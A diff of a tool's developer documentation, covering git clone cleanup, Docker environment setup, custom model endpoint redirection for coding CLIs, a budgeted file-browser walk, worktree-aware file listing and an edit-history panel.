+- ⚠️ **A direct clone's cleanup has a premise.** One direct (`intoEmptyDir`) clone per folder runs at a time, and a failed one empties the folder only when git actually ran (`GitRun.started`: a full queue or a slot wait that timed out wrote nothing) and did not refuse the folder. That refusal is read from git's own `already exists and is not an empty directory` text, tested directly and never through the classifier's code: the message quotes the path, and a folder named `openssl` once classified as unreachable. A folder whose mount stopped answering is left alone too (`probePathKind()`), so no libuv worker is held on it.
+- ⚠️ **No clone at or inside a Docker case workspace, with or without a `path`.** Git would run the new repository's hooks and filters on the host. Refused `400` on both branches.
 - **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
 - **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
 - ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
 - **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
-- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
+- **UI** (`case-clone` tab in the Add Case modal): the **Clone into a custom folder** field is a PARENT folder, like Create New's: the tab sends `<folder>/<case name>` as `path` (`_cloneTargetPath()`), so the API's `path` stays the exact target; debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
 
-Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
+Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint), `test/clone-custom-folder-ui.test.ts` (the tab's parent folder, the request and the preview, against the real markup).
 
 Further detail: the synchronous clone request is bounded by `GIT_CLONE_TIMEOUT_MS`.
 
@@ -612,6 +640,10 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
 
 `CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` drops `--memory-swap` (and filters only that one kernel warning) for hosts without swap accounting; `--memory` still applies.
 
+⚠️ **`docker/.env` is generated FROM `.env.example`, at 0600, never from a list of keys.** `Start-Codeman.sh`'s first run (only when nothing exists at that path: a dangling symlink or a directory is refused) rewrites the five `KEY=` lines it asks about and copies every other line, because `diffRequiredEnvKeys` refuses an in-app update while the user's file lacks a key the target release's example sets, so a hand-picked subset would block the very next update. Compose's dotenv is not bash: a backslash escapes a single-quoted value's closing quote (measured on 2.33.0 and 5.5.0), so `accept_password` and `accept_appdata_path` refuse a trailing backslash as well as a single quote. Compose also prefers the shell environment over the file, so setup unsets what it wrote, or a preset would beat a typed answer. `test/docker-start-setup.test.ts` pins all of it, against a stub that reproduces both rules.
+
+⚠️ **`changeme` is refused by BOTH scripts**, before anything is built or stopped: the container publishes on every interface and holds the Docker socket, so that password is host root. `Update-Codeman.sh` needs its own check, ahead of its `down`, because a refusal found only at the handoff to `Start-Codeman.sh` would leave the stack stopped.
+
 ⚠️ The deployment ALSO self-updates in place (the repo bind mount at `/opt/codeman` + a restart-by-exiting supervisor) — see Self-update and `docs/docker-self-update.md` before touching `server.Dockerfile`, the compose file or `.env.example`, since each is an input to the updater's environment gate. User guides: `docs/docker-compose.md` + `docker/README.md`.
 
 ### DeepSeek web UI
@@ -628,17 +660,17 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
 
 **Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`, design doc `docs/custom-model-endpoints-plan.md`; full stack — settings-panel CRUD + the Run-menu picker, on top of the backend below): points a session at a user-configured custom OpenAI-compatible endpoint — local (llama.cpp, DGX Spark, Strix Halo) or cloud (Azure AI Foundry, OpenRouter) — instead of its harness's native cloud backend. Endpoints are a read/write-array store (`custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`) discovered via `GET <baseUrl>/v1/models`; `CustomModelHost.authStyle` is `'bearer'` (default, `Authorization: Bearer`) or `'api-key'` (Azure's convention) — **never both**, live-tested against a real server: sending both headers on one request reliably hangs it indefinitely, reproduced 3×.
 
-⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/deepseek, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp — writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config — and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source — the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME` — its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
+⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/copilot, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp/deepseek, writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config/dsh home; deepseek's redirect is a per-session `DSH_HOME` holding only the generated `cordis.patch.yml`, whose `linkFromRealHome` recipe field symlinks `profiles`/`sessions`/`settings.yaml` back out of the real dsh home (resolved session-`DSH_HOME`-first, lstat-guarded so a dangling link survives re-apply) instead of stranding them, and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source, the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME`, its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
 
-⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()` — a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share — because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name): that is the registry's `customModelInjection.launchModel` template, applied onto the respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id, and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model; never the values, which carry the API key and are re-derived from the endpoint store on recovery), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
+⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. It also puts back what the session had set itself under an injected key (`CustomModelBookkeeping.ownEnv`, read after the undo so a switch carries it across): an own `DSH_HOME` or `CLAUDE_CONFIG_DIR` used to be deleted with the injected value, which moved the session to the server's tree or the default Claude account. ⚠️ `ownEnv` can hold a credential in memory, so `getCustomModelForPersist()` writes only its `homeEnvVar` entry, and only as an absolute path (the registry types that name as any env var, so a `clis.json` override can point it at a credential), which it must write because the selection overwrote the tmux `setenv` that was the only other copy. `_restoreCustomModel()` always states `ownEnv` (empty for an older record) after `clampEnvOverridesForOwner()`: after a restart `_envOverrides` holds what the previous run INJECTED, and reading that as the session's own would pin it to a directory the clear deletes. The re-apply's real-home lookup has the same rule: the route reads `Session.ownEnvValue()` and recovery that clamped record (probed under the bulk cap, since it walks every saved session), never `envOverrideValue()`, so an entry the own home lacks is skipped rather than filled from the server's home. Quick-start hands the `Session` constructor the caller's overrides alone so `setCustomModel()` can see them. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. ⚠️ The pin looks in `<isolated>/projects`, so `linkSharedProjectsDir()` links it from the session's own `CLAUDE_CONFIG_DIR` when it has one (`guardSessionConfigDirHome()` covers `configDirVar` too): the server's tree would hide the conversation on apply and leave the endpoint's transcript behind on clear. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id, and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model, `homeEnvVar` and the session's own home path; never an injected value, which carries the API key and is re-derived from the endpoint store on recovery, and never any other own value), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
 
 ⚠️ **Security**: every env var this feature can redirect (`ANTHROPIC_BASE_URL`, `GOOGLE_GEMINI_BASE_URL`, `CODEX_HOME`, `GROK_HOME`, `HOME` for pi/omp, `OPENCODE_CONFIG_CONTENT`, etc.) is in that CLI's `privilegedEnvKeys` — several of these were reachable via the generic `envOverrides` field's prefix allowlist BEFORE this feature existed (the env allowlist is global and prefix-based, not per-CLI-scoped), so building this surfaced and closed a pre-existing gap rather than opening a new one. `ANTHROPIC_*` is deliberately NOT in claude's `allowedPrefixes` at all — Anthropic-traffic redirection can only happen through this feature's own admin-configured, SSRF-guarded route, never a plain client-supplied `envOverrides`.
 
-**Confidence, verified end-to-end against a real llama-swap server via the DYNAMIC `scripts/test-local-llm-harnesses.ts`** (reads the live CLI registry, so a registry change needs zero script edits): claude/opencode/pi/grok/omp **PASS**; codex config structure is correct, and codex only speaks the Responses API since Feb 2026 (`wire_api = "responses"`) — re-verified live against a llama-swap deployment that DOES answer `/v1/responses` (an earlier test's harder failure against a different deployment does not reproduce everywhere): a plain, no-tool-call chat turn gets a real reply, but a real tool-call attempt came back as `agent_message` TEXT (the tool-call JSON printed as the answer) rather than an executable `function_call` item — confirmed via `codex exec --json`'s raw event stream. Tool execution is what makes codex a coding agent, so it remains not usable for real work either way, just with a more precise failure mode than a flat protocol break; gemini fails with `Invalid auth method selected` (an undocumented `GATEWAY` AuthType gemini-cli selects once `GOOGLE_GEMINI_BASE_URL` is set — unresolved after real investigation); deepseek's originally-reported `HTTP_404` is root-caused and fixed — its bundled `@deepseek-ai/dsh-llm-deepseek` module builds `${DEEPSEEK_BASE_URL}/chat/completions` with no `/v1` of its own (confirmed by installing the real package and reading its source), so a new `appendV1Suffix` flag on its registry entry (alone — claude/gemini must not get it) runs `endpoint.baseUrl` through `withV1Suffix()` before writing it, live-confirmed against llama-swap (`.../chat/completions` 404s, `.../v1/chat/completions` succeeds) though not yet re-run through an actual `dsh` binary, which isn't installable in this environment; antigravity has no known mechanism at all. See the confidence table in `docs/custom-model-endpoints-plan.md` for the full detail on each.
+**Confidence, verified end-to-end against a real llama-swap server via the DYNAMIC `scripts/test-local-llm-harnesses.ts`** (reads the live CLI registry, so a registry change needs zero script edits): claude/opencode/pi/grok/omp **PASS**; codex config structure is correct, and codex only speaks the Responses API since Feb 2026 (`wire_api = "responses"`), re-verified live against a llama-swap deployment that DOES answer `/v1/responses` (an earlier test's harder failure against a different deployment does not reproduce everywhere): a plain, no-tool-call chat turn gets a real reply, but a real tool-call attempt came back as `agent_message` TEXT (the tool-call JSON printed as the answer) rather than an executable `function_call` item, confirmed via `codex exec --json`'s raw event stream. Tool execution is what makes codex a coding agent, so it remains not usable for real work either way, just with a more precise failure mode than a flat protocol break; gemini fails with `Invalid auth method selected` (an undocumented `GATEWAY` AuthType gemini-cli selects once `GOOGLE_GEMINI_BASE_URL` is set, unresolved after real investigation); deepseek's originally-reported `HTTP_404` is root-caused and fixed, its bundled `@deepseek-ai/dsh-llm-deepseek` module builds `${DEEPSEEK_BASE_URL}/chat/completions` with no `/v1` of its own (confirmed by installing the real package and reading its source), live against llama-swap (`.../chat/completions` 404s, `.../v1/chat/completions` succeeds), and the env-var redirect that first fixed it has since been REPLACED by a `configDir` recipe: a per-session `DSH_HOME` carrying only a generated `cordis.patch.yml` that declares a `codeman-custom` `openai-completions` provider over the installed profile, with the `/v1` fix living in `renderConfigFile`'s shared `withV1Suffix()` (every file template applies it; the `env` kind's `appendV1Suffix` flag now belongs to copilot alone) and the session's state symlinked back from the real dsh home; a real "hello world" reply through an actual `dsh` binary has since been verified live by the maintainer (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1: `--dump-config` shows the patched rows, the TUI boots on the chosen model, and a prompt reaches the endpoint as `POST /v1/chat/completions` with the reply rendering in the TUI), so this is verified end-to-end like the harnesses above; antigravity has no known mechanism at all. See the confidence table in `docs/custom-model-endpoints-plan.md` for the full detail on each.
 
 ⚠️ **The Run-menu picker generates entries from `window.__codemanCustomModelClis`** (`server.ts`, injected at page render from `enabledClis().filter(kind==='agent' && customModelInjection.kind!=='unsupported')`, JSON-escaped against a literal `</script>` via the exported `escapeScriptJson()` since `label` is a user-`clis.json`-settable string unlike the neighbouring booleans-only `__codemanCliAvailable`), never a hardcoded per-CLI id list in the frontend — the same "no branching on CLI id outside stock.ts" discipline the registry itself enforces. One entry per (capable, INSTALLED CLI, saved endpoint) pair, e.g. "Claude Code (llama.cpp)", filtered through `isCliAvailable()` like the stock entries. Clicking one calls `selectCustomModelEntry(mode, endpointId)` (`session-ui.js`), which re-fetches the endpoint (never trusts anything cached from the dropdown's render — the 5-minute sweep below or a settings edit may have changed it since) and decides the model: exactly one discovered model launches straight away, two or more open `#customModelPickModal` to ask, with `defaultModelId` marked but never auto-chosen (asking exists so ONE launch can deliberately differ from the saved default).
 
-⚠️ **The picker promotes exactly one row to the top**: whichever model llama-swap reports `ready` right now (tagged "Currently loaded", queried via `GET /api/model-endpoints/:id/running-status`, client-side bounded to ~800ms via `Promise.race` so a sleeping/firewalled endpoint cannot leave the modal invisible for the route's own 5s server-side timeout) beats a merely remembered choice, and — only when nothing is currently loaded — the model actually launched last for this exact (harness, endpoint) pair (tagged "Last used", read from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>` localStorage key). Neither tag reorders past the top, and the "Default" pill is a SEPARATE span rather than a third value of the same slot, so a promoted row that is also the endpoint's `defaultModelId` shows both (on a single-purpose GPU box that is the common case; an exclusive slot silently dropped the Default marking for exactly that row). "Last used" is written by `_runCustomModelEntryViaRestart` (claude) and `_quickStartWithCustomModelConfirm` (every one-shot launch; `runCustomModelEntry` itself only dispatches between the two) only once the model is actually applied — never on the mere click — because a context-window-warning decline means this exact model cannot work with this CLI at all, and promoting a model that cannot launch would be actively wrong, not just premature.
+⚠️ **The picker promotes exactly one row to the top**: whichever model llama-swap reports `ready` right now (tagged "Currently loaded", queried via `GET /api/model-endpoints/:id/running-status`, client-side bounded to ~800ms via `Promise.race` so a sleeping/firewalled endpoint cannot leave the modal invisible for the route's own 5s server-side timeout) beats a live session's pin (tagged "In use by a session": `_getCustomModelInUseBySession` walks `this.sessions` for one of your own sessions whose `customModel.endpointId` is that host, newest `createdAt` wins), which applies only when nothing is currently loaded and beats a merely remembered choice, the model actually launched last for this exact (harness, endpoint) pair (tagged "Last used", read from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>` localStorage key). ⚠️ The pin reads only `customModel`, never `displayModel` (screen-scraped display text: a terminal that merely printed a matching string is not evidence), and never counts a session with `status: 'stopped'`, a null `pid` (its PTY exited) or a recorded `paneExit`, the same live-pane test keep-warm applies. ⚠️ When nothing was promoted and the probe answered `isLlamaSwap: false` (the shape `getLlamaSwapStatus` gives for EVERY failure it catches, a down or refused endpoint included, so the line claims only that nothing was reported), the static `#customModelPickUnknown` line says so out loud; its `[hidden]` rule must keep `display: none !important` scoped to `#customModelPickModal`, because `.form-hint`'s `display: block` outranks the UA `[hidden]` rule. Neither tag reorders past the top, and the "Default" pill is a SEPARATE span rather than a third value of the same slot, so a promoted row that is also the endpoint's `defaultModelId` shows both (on a single-purpose GPU box that is the common case; an exclusive slot silently dropped the Default marking for exactly that row). "Last used" is written by `_runCustomModelEntryViaRestart` (claude) and `_quickStartWithCustomModelConfirm` (every one-shot launch; `runCustomModelEntry` itself only dispatches between the two) only once the model is actually applied, never on the mere click, because a context-window-warning decline means this exact model cannot work with this CLI at all, and promoting a model that cannot launch would be actively wrong, not just premature.
 
 Either way the actual launch (`runCustomModelEntry`) routes through `run()` itself via a temporary `_runMode` swap — never `setRunMode()`, which would persist it as the user's new default — rather than a parallel dispatch table, which is what gives a custom-model launch the same `_runInFlight` lock every other Run click gets and means a CLI whose injection recipe lands later needs no update here. It then GETs `/api/sessions/:id/wait?until=idle&timeout=20000` on that session BEFORE applying — measured live, a freshly launched CLI reports itself `busy` for its own startup (boot spinner, workspace-trust check) well before the apply call would otherwise reach it, and the apply route's `isBusy()` guard correctly can't tell that apart from a real turn in progress, so every fresh launch failed with `SESSION_BUSY` until this wait was added. A timeout there is a normal 200 per the wait endpoint's own contract, never an error, so a session still busy after 20s just reaches the apply call anyway and gets that route's own honest error. It then calls `POST /api/sessions/:id/custom-model` on the session `run()` produced, guarded by snapshotting `activeSessionId` before the call and requiring it to have actually changed after — every `run*()` handles its own failure internally and returns normally rather than throwing, so a declined/failed launch must not silently re-point and restart whatever session was already open.
 
@@ -726,9 +758,33 @@ Frontend `readmymind-ui.js`: header 🧠 marker-hidden (`btn-readmymind--hidden`
 
 ⚠️ **A query turns that endpoint into a FLAT match list rather than a nested tree**, and the walk deliberately recurses past non-matching directories, since the whole point of searching is to reach a file whose ancestors do not match. An empty or whitespace-only query compiles to `null`, which is what keeps the default tree response byte-identical when no search is requested.
 
+⚠️ **Both walks are a per-directory round-robin (breadth-first) over ONE 5,000-node budget.** They used to recurse depth-first through name-sorted folders, so an early folder could spend the whole budget: 4 of 57 top-level folders were shown in one real workspace. Each round divides what is left equally among the directories queued so far, and a folder's own files count as one more share beside the subfolders it has just found (`walkTurnEnd()`). Those subfolders are read in a later round, so a folder that spent all of its share on its own files left them nothing, alone in its round or beside a sibling, and search hits inside them were lost. A turn that found no subfolder holds nothing back. That is fair per directory, not per subtree: a folder of thousands of one-file subfolders still crowds out its neighbours one level down (`a/b/c/d/needle.ts` beside such a `z/` is found depth-first and missed here), and that trade is accepted, since a file browser wants the shallow levels first. Search results therefore arrive shallow-first.
+
+⚠️ **The budget caps what a listing returns, never what it reads.** Taking turns means opening every folder found so far, where the depth-first walk stopped reading soon after its budget ran out, and a share of 16 entries costs the same read as a share of 5,000. So `readWalkFolder()` keeps only what the listing can use (the entries it lists, sorted, no more than the budget has left, with `more` recording that it dropped some: such a cursor stays queued and is flagged), and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders. The folder that crosses that line is read whole, as any folder always was, the ones not opened yet wait in `unread` and are flagged, and what was already read keeps its turns. Without the two, 100 folders of 50,000 files cost one GET 5 million entries and a 400 MB heap died (which ends the server, not the request). The price is that folders adding up to the ceiling leave later ones unread: flagged, not hidden, but not the fairness the budget gets, and a depth-first walk over the same tree showed less.
+
+⚠️ **A folder below the walk's root is probed before it is read** (rule #516), because the round-robin reaches folders the depth-first walk stopped short of, each with an unbounded `readdir`. It is a bulk scan, so default options and the stall cap apply. `unknown` is never `absent`, so a folder the probe could not answer for goes on `unread` (`cursor.unanswered`), which flags it `incomplete` and sets `truncated`: a healthy mount that merely took longer than `PATH_PROBE_TIMEOUT_MS` on first touch would otherwise list as empty, and a search would miss it in silence. It stays unread until a later listing asks again. Only `absent` or `file`, a folder that left while the walk ran, drops out with no flag. With the cap engaged (two unrelated paths stalled, by default) every folder below the root is flagged, until one answers, which is the honest outcome: none of them was read. The root is not probed: a refused probe there would blank a healthy workspace. A `readdir` that fails after a good probe (permission denied) is still treated as an empty folder, as it always was.
+
+⚠️ A directory gets its node, with `children: []`, when it is counted and is read in a later round, so every cursor still queued after the loop, and every one in `unread`, is a folder that is unread or half read: it must carry `incomplete: true` or it reads as an empty folder, the failure that went from 0 to 635 such folders before the flag existed. `renderFileBrowserTree` draws one dim, inert row under it while it is expanded, worded to fit either reason, and the row is not a `.file-tree-item`, so the click wiring leaves it alone. The budget check inside the round runs BEFORE each `shift()`, so a directory the round skips stays queued and keeps its flag. Hidden and excluded entries are dropped at the read, so they never leave a folder looking unfinished, but a folder found as the budget ended is flagged unread even if it would have turned out to be empty: only reading it could tell. The walk's root has no node, so `truncated` is its only signal, and a folder dropped at the depth cap is not flagged: it looks the same as it always has.
+
 ⚠️ **Globs are never compiled into a RegExp**: `*a*a*a…` translated to `^.*a.*a.*a…$` is a classic backtracking blowup evaluated synchronously against every walked path, so one pathological query would freeze the event loop for the whole server (the same reason `search-service.ts` is regex-free). `globMatch()` is a two-pointer wildcard walk instead, O(text · pattern) with both operands short by construction, and an overlong query (`MAX_QUERY_LENGTH`, 256) also compiles to `null` rather than running.
 
-Matching semantics: a query containing `/` matches the relative path, otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
+Matching semantics: a query containing `/` matches the path relative to the folder being walked (`workingDir`, or the worktree of a `root=live` listing; the returned `path`s stay relative to `workingDir` either way), otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
+
+### Files panel in a worktree
+
+**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude Code's EnterWorktree moves the running process into `<repo>/.claude/worktrees/<name>`, while `Session.workingDir` is the session's identity and stays on the main checkout, so the panel kept listing a tree the agent had left. `paneCwd` does follow, in both directions, because tmux reads the process cwd (measured on 2.1.318). Hook payloads are the wrong signal: their `cwd` follows every `cd` in a Bash call too.
+
+When `paneCwd` changes, `refreshLiveWorktree()` (server.ts) runs `findLiveWorktree()`, which walks up from the pane and recognises a linked worktree by its `.git` FILE (`gitdir: .../worktrees/<id>`). It never runs git, since this fires from the pane watcher and a file read starts no process, config or filter. The walk stops at `workingDir`, at a repository or submodule of its own and at anything it cannot read; probes are bounded (#516), and a `.git` that is a symlink or a FIFO is refused before anything opens it. The answer is published as `SessionState.liveWorktree`. A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel.
+
+⚠️ **That answer is lexical and goes stale.** It is judged only when the pane moves, and a symlink can take the place of the folder, or of a parent, afterwards without moving the pane, while `probePathKind()` and `readdir` both follow one. So `root=live` checks again on every request: `canWalkLiveWorktree()` (file-routes.ts) probes the folder, resolves it and `workingDir`, and the walk starts at the worktree only when that resolves strictly inside the resolved `workingDir`; otherwise it starts at `workingDir`, as it does for a worktree that has gone. The 1.49.0 release review reproduced the escape end to end on tmux 3.4: without this check a symlink swapped in after the lookup listed the names and sizes of a folder outside the workspace, though `file-content` and `file-raw` refused those paths. The root is the only place this can happen, because the walk does not follow a symlink below it (`Dirent.isDirectory()` is false for one). A swap between the check and the `readdir` is the same check-then-use race any path route accepts.
+
+⚠️ **Only the check uses resolved paths.** The walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`, and the listing's `path`s stop working on the file routes.
+
+⚠️ `liveWorktree` only moves where a listing STARTS, so never make it a confinement root. Returned `path`s stay relative to `workingDir`, which is why `file-content`, `file-raw` and the edit route need nothing new. Serving a worktree outside the folder (`git worktree add ../feature`) would need a second root, so those stay unfollowed, and so does a worktree of a session started below the repository's top, because Claude Code puts it at the top, outside the session's folder.
+
+⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that report with the session's state, and an absent report would reload forever.
+
+Two surfaces do not move with it. The Git panel keeps working from `workingDir`, so it shows the main checkout's branch while the strip names the worktree. And `POST /api/sessions/:id/html-view` applies its dot-segment rule below `workingDir`, so while the session's folder is the main checkout a page under `.claude/worktrees/<name>` is refused and opens as source (a session started in the worktree renders it). Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`.
 
 ### Raw file bodies: streamed and range-aware
 
@@ -742,6 +798,28 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
 
 ⚠️ Closing the preview must **pause and unload** the media (`_stopFilePreviewMedia` in panels-ui.js): dropping the overlay's `visible` class is `display:none` and nothing else, and a DETACHED `HTMLMediaElement` keeps playing, which is how the X button used to leave a video audible with no player to pause.
 
+### Edit history panel
+
+**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a claude session edited, local or remote SSH (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts` (remote: `remoteLocateClaudeTranscript` / `remoteReadClaudeEditSources` in `src/remote-files.ts`), sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
+
